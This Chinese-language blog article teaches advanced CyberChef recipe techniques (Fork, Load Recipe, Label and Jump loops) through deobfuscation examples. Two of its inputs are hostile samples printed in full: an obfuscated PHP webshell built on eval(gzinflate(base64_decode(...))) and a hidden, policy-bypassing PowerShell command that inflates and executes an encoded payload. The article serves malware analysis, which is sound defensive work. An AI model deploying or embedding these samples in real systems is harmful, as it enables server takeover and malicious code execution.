玩转数据料理台:CyberChef实战进阶

admin 2025-12-14 01:19:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章深入介绍了CyberChef的Recipe高级功能,包括Recipe的链式处理、LoadRecipe的模块化复用、Fork实现并行分析以及Label和Jump构建循环逻辑。通过实际案例演示了如何使用这些功能破解多层Base64编码的PHPwebshell、解码JWT以及分析PowerShell恶意代码。掌握这些高级技巧可以显著提升安全分析效率,使CyberChef成为强大的数据处理流程编排引擎。 综合评分: 85 文章分类: 安全工具,恶意软件,逆向分析,WEB安全


cover_image

玩转数据料理台:CyberChef 实战进阶

原创

网安布道师

格格巫和蓝精灵

2025年10月13日 21:32 河北

之前我们介绍了 CyberChef 的基础功能,今天,我们将深入它的“Recipe(菜谱)”精髓,带你掌握更高效、更强大的数据处理技巧,让你从 CyberChef 的“赛博小白”直接晋升为“赛博Boss”!


一、核心基石:Recipe 的精髓与复用 🍽️

CyberChef 最核心的功能就是 Recipe。它允许你将多个数据操作(Operations)像积木一样堆叠起来,形成一个处理链,对输入数据进行连续加工。

1. Recipe 简介与使用

Recipe 本质上是一个操作列表,数据会按照这个列表从上到下依次通过每个操作进行处理。

✨ 这使得复杂的、多步骤的数据转换变得自动化可视化

操作步骤回顾:

  1. 在左侧的 “Operations” 列表中找到需要的操作。
  2. 将其拖拽到中间的 “Recipe” 区域。
  3. 调整参数并点击 “Bake!” 开始处理。

2. 强大的 Recipe 复用机制:Load Recipe

当你的 Recipe 变得越来越复杂时,你可能希望将某个常用的子流程模块化,并在多个地方重复使用,就像编程中的函数一样。Load Recipe 操作就是为此设计的。

| 操作 | 作用 | 应用场景 | | — | — | — | | Load Recipe | 在当前 Recipe 中嵌套调用另一个 Recipe。 | 将一个“通用清洗流程”(如:移除空格、Base64解密)保存为一个单独的 Recipe,然后在不同的主 Recipe 中调用它。 |

💡 技巧: 你可以保存一个 Recipe 到本地文件或一个 URL,然后通过 Load Recipe 操作来指定加载。这极大地提高了复杂处理流程的可维护性复用性


二、流程控制:进阶语法让 Recipe 具备“智慧”🧠

当简单的堆叠无法满足你的需求时,CyberChef 提供了几个强大的“流程控制”操作,让你的 Recipe 具备分支、标记和循环的能力。

1. 🔍 Fork:处理多分支数据流

Fork 操作是实现并行分析的关键。

作用: 将当前的 Recipe 分为两个(或多个)平行的分支,每个分支可以执行不同的操作序列。

📌 核心机制:

  • Fork 会创建一个子 Recipe 块。
  • 处理完成后,CyberChef 会将所有分支的输出结果合并,并传递给下一个操作。

例如:对每行的数据做base64解码 之后再对结果合并。

输入:

VGhlIHF1aWNrIGJyb3duIGZveA==YWx3YXlzIGp1bXBzIG92ZXIgY3J5cHRvZ2EgdGhlIHNsb3cgZG9n

recipe:

[  { "op": "Fork",    "args": ["\\n", "\\n", false] },  { "op": "From Base64",    "args": ["A-Za-z0-9+/=", true, false] },  { "op": "Merge",    "args": [true] },  { "op": "Find / Replace",    "args": [{ "option": "Regex", "string": "\\n" }, " ", true, false, true, false] }]

2. 🏷️ Label 与 🔄 Jump:构建逻辑循环

这两个操作是实现复杂逻辑的关键搭档,常用于实现条件跳转循环

| 操作 | 作用 | 进阶应用场景 | | — | — | — | | Label | 标记 数据流中的某个位置(如起点)。 | 标记循环的起点关键节点,供 Jump 操作调用。 | | Jump | 根据设定的条件,跳转到 Recipe 中任何一个 Label 所标记的位置。 | **多层解密:**不断循环尝试解密,直到满足某一条件(例如:数据中出现可读字符串)。 |

💡 核心技巧:

  • 实现循环: 设置 Jump 目标为靠前的 Label
  • 条件跳转:Jump 提供了多种条件判断(如:如果数据中包含特定字符串则跳转),这是自动化分析的关键。

例如:对输入进行循环base64解码

输入:

VmpKMFYyRXhXWGxXYmxKV1lURktVMWxzWkRSWlZsbDNWbFJHYWsxV1NqQlpNRnBQWVZaSmQyTkVRbGRTZWxab1YxWmFTbVZHV25SUFJEQTk=

recipe:

[  { "op": "Label",    "args": ["loop"] },  { "op": "From Base64",    "args": ["A-Za-z0-9+/=", true, false] },  { "op": "Jump",    "args": ["loop", 5] }]


三、进阶实战:解决嵌套式数据谜题 🔐

理解了 Load RecipeFork 和 Jump,我们来看几个进阶实战案例,模拟处理常见的安全挑战:多层嵌套或混淆的数据

1. 案例一:自动化破解多层循环 Base64 编码php webshell

输入:

<?php&nbsp;eval(gzinflate(base64_decode("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")));&nbsp;?>

recipe:

[&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Label",&nbsp; &nbsp;&nbsp;"args":&nbsp;["start"]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Regular expression",&nbsp; &nbsp;&nbsp;"args":&nbsp;["User defined",&nbsp;"[a-zA-Z0-9=/+]{10,}",&nbsp;true,&nbsp;true,&nbsp;false,&nbsp;false,&nbsp;false,&nbsp;false,&nbsp;"List matches"]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"From Base64",&nbsp; &nbsp;&nbsp;"args":&nbsp;["A-Za-z0-9+/=",&nbsp;true,&nbsp;false]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Raw Inflate",&nbsp; &nbsp;&nbsp;"args":&nbsp;[0,&nbsp;0,&nbsp;"Block",&nbsp;false,&nbsp;false]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Jump",&nbsp; &nbsp;&nbsp;"args":&nbsp;["start",&nbsp;21]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Generic Code Beautify",&nbsp; &nbsp;&nbsp;"args":&nbsp;[]&nbsp;}]

✅ 效果: 极大地提高了在面对未知层数加密数据时的处理效率!

2. 案例二:JWT解码

输入:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

recipe:

[&nbsp; {&nbsp;"op":&nbsp;"URL Decode",&nbsp; &nbsp;&nbsp;"args": [true] },&nbsp; {&nbsp;"op":&nbsp;"Fork",&nbsp; &nbsp;&nbsp;"args": [".",&nbsp;"\\n",&nbsp;false] },&nbsp; {&nbsp;"op":&nbsp;"From Base64",&nbsp; &nbsp;&nbsp;"args": ["A-Za-z0-9+/=",&nbsp;true,&nbsp;false] },&nbsp; {&nbsp;"op":&nbsp;"Filter",&nbsp; &nbsp;&nbsp;"args": ["Line feed",&nbsp;"^{.*}$",&nbsp;false] },&nbsp; {&nbsp;"op":&nbsp;"JSON Beautify",&nbsp; &nbsp;&nbsp;"args": [" &nbsp; &nbsp;",&nbsp;false,&nbsp;true] }]

✅ 效果: 在不使用jwt.io 的情况下快速解析json web token。

3. 案例三:powershell恶意代码分析

输入:

powershell.exe&nbsp;-NoP&nbsp;-NonI&nbsp;-W&nbsp;Hidden&nbsp;-Exec&nbsp;Bypass&nbsp;-Command&nbsp;"Invoke-Expression&nbsp;$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtc9pGEP7Or9jRXGekMRIyENdG45k4OG7cBocax07LMJ1DWtCF0518OvFiwn/vCquYfO0XnXa1t8+zu8+KPcMlvHca42spb7NcG+s6CzQKZacdJFI63gTycipFDIXllg5cW/oOt8oOrYFHYWzJ5ZWUOnZrn8yvksRgUTShFMpCshqJF6yN2WsspdLqYZO/uYdGW4ytF/1vLn2D3OJDSkfyxuXVvrLWiGlp8YiU5fHildkhmHzGHtgf3ENueIaEdbi8x6ISbiSfH0e+ot0mVIbzvmHNZssS6rBz9aF//fHmt0+3v//xeXD3Zfjn/ejh6+PTt7/+5tM4wdk8Fd8XMlM6fzaFLZer9eYlPG13uu/Ofj2/cIIH3U+5uTKGb1yvMStVXKFD7LKltwWDtqQ+uO6Y2I0nE2DLn2/ADxggL0qD/pfpd2oz+KMy8wJ6wC8Qrk/DEHx8hou2t3vLbmHLZhV7JzoNgs6Pmabi4tTX+xT07eQSWDJ252h9w1WiM/AzvhYZZWVJ8BnV3KbeZBfV/NgsOsqOsIXc6JhaDdsxr4hO2Jrg6HEC7J9dBKgSorAm9gWpocaFratw9Z9xv8f1AkVacL3d7ghgvgViDC4Tl2HEBPjSwlmX3k5OvC1LCclGbFEBJoSAEUBdIF2RIIjvguKKKiCtGMkIxAxc6nnheXDoOkUQbG04F8tvXx0qc3yHNhihWYoYh5rGMuCKz9FMer3Ki6aPxoqZoE3ARy5FspdTn0s5JVkS5pZZU+IuYhkZd1RwPbjRprCYBVX6J5z2pUBlowbLgk8kPDRFQPJ1nbJA4xOesk4TnIF+EVLyVjcIib/OcgKbSqp4MLr9CGfBaQRPgvq4KuDuwXO8iCkCnUcw/rCxuBdUXrUhC671SknNk2tuueuk1uZFr9XqvAvaYTc4bwdnF71ut9Mqc6oHW0w54DWYprvEyq/2nRSC2RTNNc6EEvs5sWfw72i/wCESnbYDviKryHmMsPfc1BMtwM95UdjUlA22vmS61/vp/xM2WV6rrhmuO2EY0tENvWhcN+2+VFZkGNC6otF5PZ4iGHBTpFzSbPo637gsb0LYhPHrVk9ctqZtIqPTdj2vCQeQqjS6cvzbIcQmWzerI6y2TpfWV6Uk6ex/Lf5IIua0fBhr0vb5WTcMdySBON3u/gU=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

recipe:

[&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Regular expression",&nbsp; &nbsp;&nbsp;"args":&nbsp;["User defined",&nbsp;"[a-zA-Z0-9+/=]{30,}",&nbsp;true,&nbsp;true,&nbsp;false,&nbsp;false,&nbsp;false,&nbsp;false,&nbsp;"List matches"]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"From Base64",&nbsp; &nbsp;&nbsp;"args":&nbsp;["A-Za-z0-9+/=",&nbsp;true,&nbsp;false]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Raw Inflate",&nbsp; &nbsp;&nbsp;"args":&nbsp;[0,&nbsp;0,&nbsp;"Adaptive",&nbsp;false,&nbsp;false]&nbsp;},&nbsp;&nbsp;{&nbsp;"op":&nbsp;"Generic Code Beautify",&nbsp; &nbsp;&nbsp;"args":&nbsp;[]&nbsp;}]

✅ 效果: 使用正则以及base64编码快速进行解混淆。

更多的recipe可参考cyberchef-recipes


总结:你的数据BOSS之旅 🦸

CyberChef 不仅仅是一个解码工具,它更是一个强大的数据处理流程编排引擎

掌握 Recipe 的链式处理、利用 Load Recipe 进行模块化、利用 Fork 实现并行分析,并巧妙地运用 Label 和 Jump 来构建循环和条件逻辑,你就能轻松应对大多数复杂的数据分析任务。

更多参考:

https://github.com/mattnotmax/cyberchef-recipes

https://www.osdfcon.org/presentations/2019/Jonathan-Glass_Cybersecurity-Zero-to-Hero-With-CyberChef.pdf


评论:0   参与:  9